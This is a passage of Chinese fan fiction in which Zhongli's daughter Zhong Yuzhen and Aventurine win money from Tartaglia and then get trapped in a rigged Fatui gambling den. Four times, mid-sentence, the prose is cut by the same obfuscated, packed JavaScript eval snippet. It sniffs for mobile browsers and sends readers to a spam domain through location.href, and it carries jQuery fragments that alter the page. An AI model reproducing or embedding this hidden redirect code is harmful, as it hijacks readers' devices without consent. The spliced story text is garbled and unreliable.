钟羽蓁晃了晃光滑的手臂:“没有摩拉了,所以把上次去沉玉谷玩的时候买的玉手镯送给了冬祁姥姥。” “找你骗钱可真容易,卖卖惨就行。”香菱摇摇头,将水煮鱼端上桌,发现钟羽蓁撑着下巴在发呆,“怎么啦?现在后悔了?那手镯转卖出去,怎么也够你在璃月港租个房子住了。” “没有,我只是在想……砂金到底是个什么样的人。” “砂金?” “嗯,就是我跟你说的那位合伙人。他带我开了一块材质还不错的翡翠,那颗翡翠大概值十万摩拉,但砂金说,他能换到两百万摩拉。” 在花钱这方面,钟羽蓁深得钟离真传,从裙子、首饰到美食玩乐,只选上等,但身上经常不带摩拉。 香菱不免有些怀疑:“你知道两百万摩拉代表什么吗?能在璃月港最繁华的地段买个小铺子、可以在万民堂吃整整三年。你啊,肯定是被那个叫砂金的人骗了!” “啊?两百万摩拉竟然才能在万民堂吃三年……香菱,你和卯师傅一定很有钱吧!”钟羽蓁眼巴巴地看着香菱,又垂下眼眸,“不过我不想找你借钱。而且我觉得……砂金看上去不像是骗子。” 香菱决定记下砂金的特征,到时候再带着千岩军去把这骗子抓起来。 她问:“你说的这个砂金,他长什么样子啊?” “他很漂亮!尤其是那双眼睛,由粉紫蓝三种颜色叠加而成,看上去……像绚烂的彩虹,神秘莫测又有些悲伤,让人忍不住好奇他的故事。” 说这话时,钟羽蓁的眼前浮现出砂金提到家人时的神情,她下意识蹙起了眉。 ——不太妙。 看钟羽蓁这副神情,香菱心底闪过一丝不好的预感。 她还记得之前大家一起野炊的时候,她安排钟羽蓁去摘甜甜花,结果钟羽蓁意外碰到了一株骗骗花,裙子差点被烧掉,最终还是废了九牛二虎之力把骗骗花硬扛了回来。 香菱很担心,钟羽蓁是个好奇心重的人,她怕钟羽蓁会因此被砂金利用。 “你忘记我师傅说的了?——越是漂亮的男人就越会骗人。”香菱叉着腰冷哼一声,“小心他的‘美男计’!” “知道了,知道了,我没有那么好骗的好嘛!” 走过葱郁的草丛,映入眼帘的是一个高耸的岩石山坡,远远地能看见一位橙色短发的男人伸了个懒腰,他的身后跟着几位穿黑红色衣服的属下。 终于,砂金前面带路的那名接待员停止了喋喋不休的推销工作,他指着前方:“公子大人就在前面,您……自己过去吧。如果要理财的话记得来北国银行找我,我叫安德烈。” “没问题,安德烈先生。有需要的话,我一定找你。”砂金滴水不漏地回答道。 视野被参差的绿树阻挡,达达利亚只能看见一道身影带着风迅速穿梭在山坡下。 他活动了两下筋骨走上前,拿起手里的弓箭,修长的腿站在悬崖边缘:“一个拿着机关的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598684|171967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 普通人都这么让你们头疼吗?” “抱歉,公子大人,是我们的失职。——谁?”讨债人话锋一转,气势凛冽地回过头,一颗绿色的石头擦着他的帽衫飞过。 翡翠刺破空气,掠过窸窣颤抖的树叶,达达利亚意外地挑眉,看见他们的讨债对象被击中,朝山坡底下滚去。 而扔出这枚翡翠的,是个没有神之眼的……漂亮普通青年。 青年踩着皮鞋走上前,嘴边扬起一抹友好的笑容,缓缓伸出手:“你好公子先生,在下砂金。” “去吧。”达达利亚朝讨债人挥挥手,讨债人立马点头,转身沿着山坡去寻找被打晕的人下落。 “差不多三百米的距离,你还能打中他,运气不错!哦对了,叫我达达利亚就行。”达达利亚伸出手与砂金相握,“说吧,找我有什么事?我记得……我们并不认识。” 不知为何,达达利亚在砂金身上感受到了类似富人和博士的气息,他不是很想跟这类人接触。 但不管怎么说砂金刚才都帮了他,他总得听听人家的来意。 砂金的视线扫过达达利亚手里的水蓝色弓箭,笑容并未因为这话而消减半分:“达达利亚先生认为,你的实力和我的运气相比,哪者赢面更大呢?” 砂金并不认为一次普通的出手能换来两百万摩拉。 但他觉得,这位执行官大人很乐意跟他赌一场。并且,他有必赢的把握。 “你想跟我比射箭?”达达利亚欣然接受,“没问题!赌注是什么?” 刚才砂金的出手,达达利亚是认可的。 虽然射箭没有打架来得痛快,但偶尔比一场,也是很不错的。 砂金指了指远处的靶子:“如果我赢了,希望达达利亚先生能给我两百万摩拉……一周的使用权。” “只是使用权?” “没错。”砂金笑着摊手,“只是使用权。” 一周的时间,足够他让两百万摩拉翻倍了。 达达利亚把弓箭扔给砂金:“你先吧。” 砂金举起弓箭,随便瞄准两下,松开手,银色的箭笔直飞向草靶,正在靶心,一分不偏。 没有上前查看,砂金自信回头:“我赢了,达达利亚先生。” 世界上根本不存在一个能赢满分答案的方法。 达达利亚意识到自己上当了,却没生气,反而爽朗一笑:“有意思!你明天北国银行取吧,报我名字就行,我会跟他们提前说好的。不过——你还得跟我再比一场!” 半个时辰后。 达达利亚瞪圆双眼:“没想到你竟然是个弓箭高手……” 砂金认真摊手:“我只是运气比较好而已。” 清月高悬在夜空中,晚风悄然穿堂而过。明明是凉爽的五月,钟羽蓁却感觉浑身都在燥热。 尤其是心脏处。 她睡得迷迷糊糊的,翻了个身,丝毫没有察觉到窗户外站了一位金发彩眸的男人。 砂金站在夜色中,一眨不眨地盯着床上少女的侧颜,筹码在手指间滑动跳跃。 一切准备就绪,只等她“上桌”了。 5. 第5章 钟羽蓁浑浑噩噩地睡了几个时辰,撑着沉重的脑袋从床上爬了起来。 胸口依旧隐隐作痛,这让她本来欢欣的心情变得有些沉闷。 起身的一瞬间,脖颈上串着的石头项链随着钟羽蓁的动作滑落下来。 这是爹爹钟离送给她的护身符,能在关键的时候保她性命无虞。 以前钟羽蓁一直以为爹爹是唬她的,毕竟这黄色的小石头真跟普通石头一样。 直到昨天,她终于意识到这小玩意可能真有些特殊的作用。 虽然钟羽蓁不清楚昏迷之后到底发生了什么,但失去意识之前,脖子上的石头散发出的金色光芒告诉她,是它帮了她。 否则,她也不会一醒来就在深渊外面。 想到这,钟羽蓁有些失落和不舍。 过了今天,她就要跟爹爹他们分别,独自游历七国了。 闲云阿姨可以靠机关术赚摩拉,萍姥姥有三个徒弟养她,就连锅巴都有香菱照顾。 可是爹爹怎么办呢? 她肯定是要去征服提瓦特的,那爹爹老了可怎么办…… 思来想去,钟羽蓁决定在旅行中找找,看有没有什么适合钟离的工作。 最好是有“售后”的那种,负责解决员工的养老问题。 倒不是说往生堂不好,只是……已经没有了升职的空间。 钟羽蓁觉得,人嘛,还是要努力升职的。更何况,爹爹他还年轻,正好是去闯的年纪! 虽然…… 她隐隐觉得爹爹有什么了不得的身份。 一个普通中年男人哪里能跟仙人做朋友?又知道那么多,跟个万能知识库一样…… 可如果真的非富即贵,又怎么会口袋里经常掏不出来摩拉? 所以,对于钟离身份的猜测,钟羽蓁一直在左右横跳当中。 她一会觉得爹爹是个有可能认识岩王帝君的厉害人物,一会又觉得他只是知识渊博罢了。 在床边坐了一会,钟羽蓁的意识逐渐清醒,她打了个哈欠,推开门朝望舒客栈走去。 今天是她的生日,也是大家给她践行的日子。 在一片欢声笑语当中,钟羽蓁被众星捧月般地拥在望舒客栈露台上。 长辈和朋友们依次给她送礼物。闲云阿姨送的是全自动烹饪机器,萍姥姥送了一个可以收纳很多东西的小尘歌袋子,就连锅巴都端了碗热乎的腊肉窝窝头。 “谢谢闲云阿姨,谢谢萍姥姥!”钟羽蓁抱住锅巴,轻轻晃了晃,“还有……谢谢你,锅巴!” “到我了,到我了!”香菱端了一个盒子,打开,里面是一个以钟羽蓁为原型的定制挎包,“这个是——羽蓁款小挎包!” “哎呀呀,本堂主跟香菱还真是有默契呢。”胡桃也展示出自己的礼物,“羽蓁款定制金币,怎么样?喜欢吗?” 看到金光闪闪的祝福币,钟羽蓁立马眼前一亮,开心地捧了过去:“喜欢,喜欢!谢谢香菱,也谢谢胡桃!” 还是一如既往地喜欢亮晶晶的东西。 魈无奈地摇摇头,发现钟羽蓁满是期待地看着他:“魈呢?你给我准备了什么礼物?” 每年都会有的日子,实在不知道有什么好特地拿出来过的。 虽这么想着,魈还是伸出手:“给你折了只‘岩桂月出玄凤’,可以辟邪的。” “谢谢魈!”钟羽蓁好奇地招招手,魈掌心的金色玄凤立马朝她飞来,她顺手放进了小尘歌袋里。 “爹爹……”钟羽蓁眼睛一转,转身揪住钟离的衣袖,抱着他的手开始撒娇。 钟离看着被拽得皱皱巴巴的衣袖,无奈叹气:“好了,我记得约定的。放心出去闯吧,有什么事情爹爹给你兜着。凡事不要逞强,收一收性子,该懂事了。” 虽然钟羽蓁没说,但钟离知道她是来讨礼物的,他转身将斜靠着栏杆而放的长木匣子递给钟羽蓁:“这个,是送给你的生日礼物。你不喜欢贯虹之槊,又嫌白缨枪不够好看,所以为你寻了这柄「沙中伟贤的对答」。” 钟羽蓁迫不及待地打开匣子,看清楚里面的翅膀状长柄武器后,金色的眼眸里立马绽放出光芒,她又拽了几下钟离的衣袖撒娇,说了声“谢谢爹爹”,然后才爱不释手地抱着去跟香菱和胡桃炫耀。 萍姥姥慈祥地看着钟离父女俩,小声感叹道:“如今帝君倒是越来越像个父亲了……” “还不是羽蓁太调皮了,帝君想不管都难……” 闲云现在还记得钟羽蓁把她机关拆了个遍,又组装起来的时候。 喜欢尝试新鲜事物也就算了,还不准她插手,非要自己组装,结果害得她站在一旁,着急地跟着熬了三个通宵。 这一点,萍姥姥深受其害。 她的三个徒弟加起来都没有这么能折腾。 羽蓁对什么事情都很好奇,今天跟香菱比武,明天跟瑶瑶、七七采药草,后天又拉着烟绯背法典。 萍姥姥一度怀疑,钟离把羽蓁交给她学枪,只是为了自己能轻松地喝茶看戏遛鸟闲逛。 “以后,受苦的就不止你们了。” 魈话是这么说,眼里还是流露出了一丝担忧。 坏人那么多,而羽蓁又单纯善良,只希望她吃了亏能早点长记性。 凝光、行秋等人因为忙没能来参加钟羽蓁的生日宴,托人送来礼物,钟羽蓁都开心地收下,扔进了小尘歌袋里。 吃完饭跟小伙伴们吵闹一番,钟羽蓁扑腾着滚上床美美睡了一觉,第二天一大早,跟钟离和魈道完别,就踏上了七国之旅。 临出发前,她再三叮嘱,不要偷偷关注她,她自己能行的。 钟离无奈地摇摇头,视线却始终没有离开远处钟羽蓁的身影。 “帝君也很担心吧……” “嗯。”钟离摊手,“担心其他神明找上门来。” 魈:“……也是,她那么能闯祸。” 把所有的东西都扔在小尘歌袋里,钟羽蓁轻装上阵,看见大树底下把玩着手表的砂金时,她先一愣然后步伐轻快地小跑上前。 他真的换到了两百万摩拉? 葱郁的树叶遮挡了大部分阳光,过滤下来的光线投下斑驳树影落在砂金身上,让本就精致漂亮的他像只花枝招展的孔雀。 钟羽蓁喜欢小鸟,更不用说漂亮的小鸟了。 她想,砂金要是没拿来两百万摩拉,她也会心软地陪着他找到家人为止。 “朋友,你迟到了整 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598685|171967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 整十分钟,您知道这对我来说,意味着多少……摩拉吗?” 砂金还是有些不习惯“摩拉”这个说法,但更让他不习惯的是璃月硬/邦的床,像睡在一块木板上,才几个小时就让他腰酸背痛的。 他可真怀念他那张舒适透气又柔软的床呐。 十分钟能赚几个摩拉? 都不够香菱做一道菜的。 钟羽蓁看了一眼四周,没看见装着摩拉的箱子。 “两百万摩拉扛着走,估计得去璃月港喊几个搬运工吧。”砂金伸手,戴着黑色手套的修长手指夹着两张北国银行的存款条。 “真的是两百万摩拉!”钟羽蓁翻看着上面北国银行特有的标识,“你从哪弄来的……我想,凝光一定很乐意把你招过去干活!” 砂金说:“是吗?那可真是我的荣幸了。” 钟羽蓁觉得这样也不错,她提议:“我把你引荐给凝光如何?跟着她,你会有一份稳定的工作,升职机会也很多。” “钟小姐这是反悔跟我的合作了吗?” “当然不会!我们璃月人最守契约了!”钟羽蓁把其中一张存款条还给砂金,“喏,说好的,五五分。” 钟羽蓁想了想:“这样吧,既然你也不喜欢稳定的工作……我们就各自拿着一百万摩拉去赚钱,不管赔与赚、多与少,都五五分。” 砂金看了一眼手心里轻飘飘的纸条,随手放进口袋里:“那钟小姐准备怎么赚钱呢?” “投资肯定是最赚钱的方法,但风险大,在没有足够的资产之前,我不太想冒险。” 钟羽蓁从小尘歌袋里拿出她连夜写好的规划:“吃穿住行是永远都有市场的,绫罗绸缎、美食佳肴,或者各年龄段的玩乐方式,都是可以思考的方向。不过——” “这并不是我的初衷。”钟羽蓁坦诚交代,“我的梦想是扬名提瓦特,最快速的方法有两种:成为有钱人,或者变成大英雄。我比较喜欢后者。不过你放心,我也会努力赚钱给你分成的!” 比起成天坐在柜台前拨算盘的生活,钟羽蓁更希望在提瓦特留下自己的足迹和身影。 砂金沉默两秒,笑着摊手:“那我和钟小姐还真是有缘呢,我也喜欢冒险——不如,我们结伴同行如何?” 钟羽蓁警惕地看了砂金一眼,在那双彩色的眼眸里看到了自己的身影。 “不会要拒绝我吧?” 砂金的眉毛微不可见地蹙起,像是很忐忑。 “……好吧,那我们一起。”钟羽蓁没法拒绝他这撒娇般的反问。 笑容出现回到砂金脸上,他看着钟羽蓁,连飞扬的眉毛都和嘴角保持着一样的弧度。 钟羽蓁说:“我们正式旅行之前,得先去一个地方。” “什么地方?” “跟我来——” 钟羽蓁招了招手,往前跑两步还不忘回头看看砂金有没有跟上。 她轻盈的步伐使得裙摆随风飘荡,像只肆意的小鸟。 砂金看到她亮晶的金色眼眸比阳光还要耀眼,里面对他没有半点设防。 她在想怎么成为提瓦特的大英雄。 他在想,怎么剖出她的心脏。 砂金迟疑了一秒,跟了上去。 6. 第6章 找了几个人打听后,钟羽蓁带着砂金来到了冬祁姥姥家。 钟羽蓁听说过冬祁姥姥的故事,她儿子儿媳早亡,一个人将孙子拉扯大,没想到现在快八十岁了,满头白发不仅没人给她养老,还要照顾躺在床上的孙子。 砂金看着眼前的一层楼木制小屋子,屋檐上瓦片掉了几片,零碎地砸在灶台旁。院子的田圃里种了一些蔬菜,打理得很好,没有杂草和虫子。 这里离璃月港有些距离,四周都是山和田,看上去很不便利。 跟一袭精致长裙的钟羽蓁就更不搭了。 但钟羽蓁没有半点嫌弃,敲门走了进去:“冬祁姥姥?” 事实上,还没走进院子的时候,砂金就闻到了一股浓郁的药味,他看见一位头发花白的老奶奶佝偻着背打开门。 老奶奶看着钟羽蓁,满是皱纹的脸上有些难为情:“你是……羽蓁小姐吧?” “是我,我来看看你过得怎么样。” 说着,钟羽蓁打量了一下房间,发现里面的陈设少得可怜,桌子似乎随时有可能倒塌的风险。 冬祁姥姥动作缓慢地从口袋里掏出一袋摩拉:“前天你给我的那个镯子,我拿去换了些钱,给我孙子抓了几副药,还剩下这些……你先拿着吧,欠你的,我会努力还上的。” 钟羽蓁罢罢手,还没说话,听见屋内一阵动静,像是有人在砸床板。 一道羞怒的青年男人声音在她耳边轰然炸开:“谁要你借我奶奶钱的——我用不着你们的摩拉!就算是饿死、病死,也不要你们管!” 从钟羽蓁的角度看过去,只能看到一床奋力挣扎蛄蛹的被子。 冬祁姥姥抓住钟羽蓁的手,布满皱纹的脸上扬起一抹讨好的笑:“羽蓁小姐,你大人有大量,别跟我这浑孙子计较,他……因为躺床上躺久了,所以总爱发脾气。” 钟羽蓁拍了拍冬祁姥姥的手,绕开她,走到床边,抱着双臂斜睨着床上躺着的青年:“我可没说借钱给你,不要太自作多情了。还有,不是借,是我自愿给冬祁姥姥的。” 青年没想到钟羽蓁会径直走进来,看着自己这副病恹恹的样子,臊到好半天都说不出话来。 钟羽蓁转身问冬祁姥姥:“冬祁姥姥,你孙子这是得了什么病?” “不是病……他这是——” 冬祁姥姥还没说完,青年突然自嘲地笑了一声,摆烂道:“是赌输了闹事被赌坊老板打的。” “赌坊?璃月有赌坊吗?” “不在璃月,是在璃月和须弥的交界处,位置隐蔽所以你不知道,听说那位赌坊老板是愚人众的。”青年靠着床板,垂着脑袋,“我早该知道的,根本不可能赢、更不可能回本的……” 钟羽蓁问:“这话是什么意思?” “他的意思是,那位老板出老千。”砂金摊摊手,“是不是刚开始让你连赢几把,等你加大赌注后,就像中了邪一样,怎么都赢不了!” “你怎么知道?”青年费力地起身,警惕地打量着砂金,见他穿着华丽精致,眼神变得凛冽起来,“你是那个赌坊的?” 迎视上钟羽蓁探究的目光,砂金叹了口气:“自然不是。我只是一个路过的、碰巧对‘赌’有些研究的好心人罢了。” “如果我帮你把输了的钱都赢回来,你能签下契约,答应我好好生活、再也不赌了吗?”钟羽蓁问。 青年嗤笑一声:“赢回来?这位小姐,你是不是对自己太自信了一点?恕我说话难听,就算是岩王帝君转世,都不可能赢。从那个赌坊进去,就没有能赢着走出来的!” 钟羽蓁说:“这不是你需要担心的,你只要告诉我能不能签下这个契约就行。” 冬祁姥姥见钟羽蓁不像在开玩笑,急忙罢了罢手:“不用了,您已经帮了我们很大忙了,就像这位先生说的那样,那个赌坊全是出老千的,您犯不着为了我们搭上自己的钱。” “放心吧,我有分寸的。”钟羽蓁给了冬祁姥姥一个宽慰的笑容,翻出地图向青年问了个大概的范围。 把地图放进小尘歌袋里,钟羽蓁掏了半天,挑出来一个手指长的瓷瓶递给冬祁姥姥:“这是活血化瘀的仙丹,吃两天就能下床了。” “呵,仙丹……”青年冷笑一声,对于钟羽蓁说的话,半句都不信。 冬祁姥姥倒是对钟羽蓁的话深信不疑:“谢谢,谢谢!我会按时让逸嘉吃的!” 两人离开冬祁姥姥家,并没有前往赌坊,钟羽蓁转头回了趟璃月港,在万文集舍里翻了半天,买了本纸张枯黄、封面褶皱的书。 “2000摩拉,因为是孤本,所以会贵一些。”老板纪芳接过钟羽蓁递来的摩拉,“不过我还真是没想到,羽蓁你竟然会对赌感兴趣。” “不是感兴趣,只是……多学一门手艺,以后不容易上当。” 砂金和钟羽蓁并排走着,见她翻开第一页边走路边阅读,有些好奇:“买了什么书?” “《赌学入门之必须会的一百问》。”说着,钟羽蓁盖上封面,让砂金能看到上面手写的毛笔字书名。 砂金说:“……钟小姐没赌过,还信誓旦旦说能帮忙把钱赢回来,就不担心到时候被打脸吗?” “没赌过但我可以学啊。”钟羽蓁将自己速学的内容回忆了一遍,叉着腰仰头,“至少我现在已经学会骰子的基本知识了,知道它有几个面、怎么判断大小了。” 钟羽蓁把书放进小尘歌袋里,准备等找到落脚点再继续看:“再怎么难也不会比机关术难吧?” 砂金从口袋里掏出金色的筹码,让它在他指尖快速滑动,然后伸出双手问钟羽蓁:“猜猜,筹码在哪只手里?” 钟羽蓁只感觉金色的奇怪钱币在眼前快速晃过,看得她一阵眼花缭乱,根本没想过要记住它的位置,她想着自己有一半猜对的机会,于是随便指了一只手。 砂金转动手腕,将手心朝上,摊开手,两只手都没有筹码。 他看着钟羽蓁,脸上是一贯自信的笑,随后无辜地耸耸肩,用眼神示意钟羽蓁打开小尘歌壶袋。 钟羽蓁从袋子里拿出不知道何时掉落进去的筹码,浅金色的眼瞳慢慢放大:“是刚刚我放书的时候扔进去的?” 好快的手法,离她这么近,又让她毫无察觉。 这个人…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598686|171967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 莫非是赌徒? “书上只会告诉你博弈的规则,并不会教你对手有可能使出的‘诡计’。”砂金话语一顿,见钟羽蓁似乎在认真思索这句话,问道:“恕我冒昧一问,钟小姐和那位冬祁姥姥是什么关系?” “你想劝我放弃帮那个叫逸嘉的人把摩拉赢回来?”钟羽蓁好奇地把 玩了两下筹码,伸手将它还给砂金,“我和冬祁姥姥并不算熟,只是之前在璃月港闲逛的时候说过几句话而已。不过……既然我已经答应了逸嘉,那就还是去试试看吧!” 砂金接过筹码,上面似乎还有少女淡淡的体温,他看着钟羽蓁,彩色的眼眸映照出她纯粹明媚的笑容。 钟羽蓁突然扭过头:“放心,万一我也赌输了,跟逸嘉一样忍不住闹事,等愚人众动手的时候,我也会保护好你的!” 砂金看着钟羽蓁,她的身形娇小玲珑,脖子和手臂都纤细脆弱,仿佛他随手一折就会断。 保护他? 砂金喉结滚动,他轻笑一声:“那就多谢钟小姐了。” 不相信也很正常,钟羽蓁无所谓地耸耸肩。 赌坊建立在须弥边界的一棵葱郁大树底下,掀开青翠绿叶,钟羽蓁和砂金沿着蜿蜒的小路往里走,走了莫约十分钟,看到了一座宫殿般的赌坊。 赌坊一共有三层,用至冬特有的材质所建,在绿色的灯草下闪烁着晶莹的冰光。 一楼是北国银行的分行,可以取、存摩拉,也能借钱、典当,大厅里摆着冰霜般的骰子装饰品,像是一个冰雪王国。 大厅正中间是一个宽而透明的悬浮楼梯,两旁隔一定距离站着愚人众的守卫。 钟羽蓁和砂金一走进来,就有穿着黑红色工作服的盘发女人前来领路。 他们换好赌坊特制的筹码,在二楼选了个赌注最小的赌桌坐下。 从逸嘉那里听说了赌坊惯用的伎俩,钟羽蓁便撑着下巴开始无聊地随意猜大小。果不其然,她连赢五把,面前的小垛筹码很快就翻了两番。 新的一局,拿着骰盅的男人扬手甩了甩盅子,放在桌上:“买定离手,先买后开——” 钟羽蓁随便抓了一把筹码,扔在“大”的范围内。 男人掀开盅盖:“小。” 然后,钟羽蓁看到旁边有人开心地拿回筹码,有人则叹气着摇摇头、拿出了新的筹码。 旁边的人连赢十把后在不知不觉中把赢了的都吐了回去,钟羽蓁渐渐清醒过来。 无论是赌石还是骰子,都是揪住赌徒“下一把一定能赢”、“下一颗石头一定能开出上乘翡翠”的心理。 从概率的角度来看,人不可能永远输、也不会一直开不出好石头,可倘若有人为你设定了既定的结果,那你再怎么努力也是没用的了。 就像砂金让她猜筹码在哪,他给了她“左”和“右”两个选项,可实际上,“左”、“右”都没有。 开始猜的时候就注定了会猜错的结局。 钟羽蓁起身,想和砂金一同离开,几位愚人众突然走上前:“抱歉这位小姐,我们无名赌坊的规矩是:不赌二十把以上,不能离开。请您——不要为难我们。” 7. 第7章 愚人众说着客套的话,钟羽蓁却从他们表情里看出了威胁的意思,她挑眉想从小尘歌袋里掏出长枪,站在她身后的砂金却突然轻笑一声:“这样啊,那我们就再玩几把好了。” 额前两缕金发随着砂金轻笑的动作微微晃动,他的表情看上去十分轻松,似乎一点都不了解愚人众的作风。 “好,还有十五把。”钟羽蓁收回手,依稀记得楼梯口确实摆了这样一块“二十局规则”的牌子。 既然如此,她就遵守规则,再输几局好了,反正她现在还有九十多万摩拉。 不管是赌坊还是什么商铺,只要是商人,最终目的都是为了利益最大化。 钟羽蓁坐回座位上,回忆了一遍自她入座后桌上赌徒的胜率,将此在脑海里绘制成一个简约的图表,把筹码压在了胜率大一些的“小”上。 她运气的确不好,但算概率还是很擅长的。 砂金侧头看着钟羽蓁思忖的侧脸,嘴角似笑非笑地上扬。 他像察觉到什么似的,视线突然落在斜对面的水蓝色冰帘上。 对于概率的认知让钟羽蓁又连赢了几把,同时也让她被赌坊背后的老板盯上了。 一位大腹便便、身形有两个钟羽蓁这么大的愚人众走上前:“老板对小姐很感兴趣,想邀请你玩几局‘三公’。” 三公? 钟羽蓁仰着头无声地询问砂金。 砂金弯腰伏在钟羽蓁耳侧,嗓音像羽毛一般蛊惑:“三枚骰子,赌桌上所有摇骰人同时开,骰子相加尾数大者胜。另外,有一特殊规定:三枚骰子都为3最大。”* 钟羽蓁听着骰子在木盅里清脆、重叠的响声,眉头紧锁,被砂金声嗓撩拨得有些涟漪的心都渐渐平静了下来。 摇骰子? 她亲自来? 开什么玩笑?! 她顶多能保证骰子不从盅里飞出去。 但愚人众面无表情的注视不像是邀请,更像是通知。 钟羽蓁很不喜欢这种感觉,四周的赌徒却纷纷停下来羡慕地看着她。 “竟然能获得海洛伊丝小姐的青睐……真不知道是多少辈子修来的福气?” 钟羽蓁:这福气送给你要不要? 必定输得倾家荡产的那种。 “福气?霉运还差不多。”脸上有狰狞刀疤的男人冷哼一声,丝毫不掩饰地提高了音量,“梅洛伊丝小姐分明是看中了这位小姐的小娇夫。男人啊,光有美貌也是一种罪噢。” 他的话音一落,好几道同情的目光齐刷刷落在了砂金身上。 小娇夫? 迎视上钟羽蓁茫然的眼神,砂金指了指自己,三色炫彩眼眸里闪过一丝无奈。 “好啊,赌就赌,不过——我刚才泡泡橘吃多了,想去方便一下,砂金,你来玩吧。”钟羽蓁把所有筹码拢在盘里,全部端给了砂金。 她拉了拉砂金挽起的翠绿色衣袖,示意他低下头,在他耳边轻声道:“我去看看除了大门有没有其他路可以出去,你在这等我一会。” 两米多高的愚人众转身在前面领路:“先生,您这边请——” 看着钟羽蓁果断离开的背影,刚才嘲讽砂金的刀疤男觉得自己的想法被认证了,笑得更大声了些:“兄弟,只怕你是等不到她回来了。” “是吗?”砂金看着手里的筹码盘,筹码下压着待取的九十万摩拉存款条,他从旁边的架子上端起一杯酒,轻抿一口:“朋友,我赌她会回来。” “所以,你注定赌输了。因为——在提瓦特大陆,没有人敢跟「富人」的妹妹梅洛伊丝小姐抢人。更何况,你只是一只徒有相貌的金丝雀,就像梅洛伊丝小姐身边的那些男人一样。” “好看,难道不值得骄傲吗?” 砂金放下酒杯,饶有兴趣地欣赏刀疤男脸上逐渐难看的表情。 水晶冰帘被人从两旁分开,砂金踩着黑色皮鞋走进了隔间,圆盘赌桌另一头坐着一位穿蓝色抹胸长裙的女人,她把玩着手里的骰子,发饰和耳钉在灯光下熠熠生辉。 正如那位刀疤男所言,梅洛伊丝身后站着一排相貌上乘、风格各异的男人。 梅洛伊丝缓慢抬起头,没有水晶帘的遮挡,她能更清楚地欣赏面前男人的容颜:“我很惊讶,提瓦特大陆竟然还有如此貌美的男人,尤其是那双漂亮的眼睛,可真叫人……心痒,恨不得日日夜夜藏在家里慢慢欣赏。” 轻佻的语气没有让砂金脸上的笑容有半丝变化,他将筹码放在桌上,慵懒地往座椅上一靠:“小姐,你喊我来,只是为了夸我吗?” “当然不是——” 梅洛伊丝挥手指了指身后的男人们,前倾身体好整以暇地看着砂金:“我是想问问你,有没有兴趣跟着我?我可以把他们都驱散了,只留你一个。那位小姐能给你的,在我这只多不少。” 砂金瞬间便感受到男人们打量他的视线开始充满杀意。 他无辜地摊手:“朋友,别用那种眼神看着我,我对你们这种混乱的感情关系一点兴趣都没有。” 直接的拒绝让梅洛伊丝立马收敛了笑容,她往后一靠,盯着从门口走进来的钟羽蓁,指了指砂金:“他、你出价多少?” 砂金还没生气,钟羽蓁先蹙起了眉头:“梅洛伊丝小姐是吗?追人要靠真诚,而不是强买强卖。更何况,人和货物不同,无论得益者是不是本人,将人明码标价贩卖都是犯法的。我刚才听他们说你是愚人众执行官「富人」的妹妹,想必这一点,你不会不清楚吧?” “这样吗?那就玩点别的。”梅洛伊丝伸出手指敲了敲赌桌,“按照我邀请你来时说的那样,三公,只不过多加一个条件:首局筹码为一万摩拉,往后的每一局赌注翻一番,等你玩完剩下的十局,我就命人开门送你们离开,如何?” 钟羽蓁站在砂金坐的沙发背后,手撑在他脑袋两侧的靠背处:“梅洛伊丝小姐,我不擅长赌,但不代表我是傻子。按你的规则算下去,到最后一局的赌注就是一千零二十四万摩拉。输了,我就算倾家荡产也赔不起。” “没错,是这么个意思。不过——赌不赌,由不得你说了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598687|171967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算。”梅洛伊丝招招手,侯在门口的愚人众立马密不透风地挡住了钟羽蓁的去路。 砂金起身,将座位让给钟羽蓁:“没事,放宽心了玩。” “可是我们俩现在所有的钱加起来一共才两百多万摩拉……”钟羽蓁小声在砂金耳边嘟囔道。 她不确定自己能不能靠长枪带着砂金从几十个愚人众手里跑掉,只能认命地坐下。 砂金说:“羽蓁小姐也可以选择利用我,把我押在这里。” “你改变主意了?想跟她做合伙人?”钟羽蓁扭头用气声问。 “我从来没有后悔过自己做出的决定。” 